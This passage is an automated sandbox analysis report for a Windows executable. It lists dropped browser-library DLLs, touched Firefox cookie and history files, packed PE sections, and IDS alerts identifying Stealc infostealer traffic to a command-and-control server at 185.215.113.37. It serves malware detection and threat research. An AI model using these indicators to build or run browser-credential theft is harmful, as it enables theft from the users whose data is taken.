File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949825973240958
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'873'408 bytes
MD5:	a48636d4112e0e59db4553623d563865
SHA1:	b141241b7908f645f085058ac2d6ec91a0fd4842
SHA256:	d9d0abb631e66eb73f616afa490fa640b982e94f48bd625caa5852b87a309442
SHA512:	5a472079cfcb459816c3d1127ff46db401db3673b93a25aaf42937cf7b6d1472231e2b89bddcf9c4c1f767517c49a9214a07beac8c8e3bf36cf5c7938cb72e96
SSDEEP:	49152:t7cpSd0oID8pD52LJoljOPnMtwsGQDJtaU6:t7cp7D8pAYOPnLT
TLSH:	208533982802D95BD95AE63596333AD053B7B0940DC204531FCE36BFEBF5929872DC8E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xab4000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F9F6113642Ah
pcmpeqb mm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F9F61138425h
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00h], ah
add byte ptr [eax], al
mov ah, 90h
sti
sldt word ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [ecx], eax
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	fb223f90f4fcb1198c712046739bbe65	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2b1000	0x200	a77c467e23d5a85f9ec349521782af58	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hxuoifqe	0x50f000	0x1a4000	0x1a3200	640ef881b09e8bbf30360cfac549c29e	False	0.9949875810841038	data	7.954455940984056	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ttaynojh	0x6b3000	0x1000	0x600	f96a424584c34c5afd83743cdfbb0137	False	0.572265625	data	4.904067401897987	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6b4000	0x3000	0x2200	3b6f1136fb6a22f6add72893bae91158	False	0.06629136029411764	DOS executable (COM)	0.786643292858377	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-30T12:33:08.305383+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49705	185.215.113.37	80	TCP
2024-09-30T12:33:08.526054+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.8	49705	185.215.113.37	80	TCP
2024-09-30T12:33:08.532038+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.8	49705	TCP
2024-09-30T12:33:08.746503+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.8	49705	185.215.113.37	80	TCP
2024-09-30T12:33:08.753257+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.8	49705	TCP
2024-09-30T12:33:09.826968+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.8	49705	185.215.113.37	80	TCP
2024-09-30T12:33:10.691143+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49705	185.215.113.37	80	TCP
2024-09-30T12:33:15.733640+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49705	185.215.113.37	80	TCP
2024-09-30T12:33:17.473116+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49705	185.215.113.37	80	TCP
2024-09-30T12:33:18.728252+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49705	185.215.113.37	80	TCP
2024-09-30T12:33:19.619715+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49705	185.215.113.37	80	TCP
2024-09-30T12:33:23.240608+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49705	185.215.113.37	80	TCP
2024-09-30T12:33:23.881079+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49705	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 30, 2024 12:33:07.378098011 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:07.383095026 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:07.383166075 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:07.419405937 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:07.424529076 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:08.070862055 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:08.070934057 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:08.073714972 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:08.078495979 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:08.305316925 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:08.305382967 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:08.307337046 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:08.312177896 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:08.525984049 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:08.525996923 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:08.526053905 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:08.526082993 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:08.527256966 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:08.532037973 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:08.746423960 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:08.746438026 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:08.746503115 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:08.746562004 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:08.746572018 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:08.746586084 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:08.746603012 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:08.746618986 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:08.746639013 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:08.746651888 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:08.746665955 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:08.746673107 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:08.746695995 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:08.746707916 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:08.748516083 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:08.753257036 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:08.966941118 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:08.967051983 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:08.986553907 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:08.986625910 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:08.992280960 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:08.992309093 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:08.992338896 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:08.992357016 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:08.992384911 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:08.992400885 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:09.826826096 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:09.826967955 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.474960089 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.479824066 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.691016912 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.691060066 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.691076040 CEST	80	49705	185.215.113.37	192.168.2.8
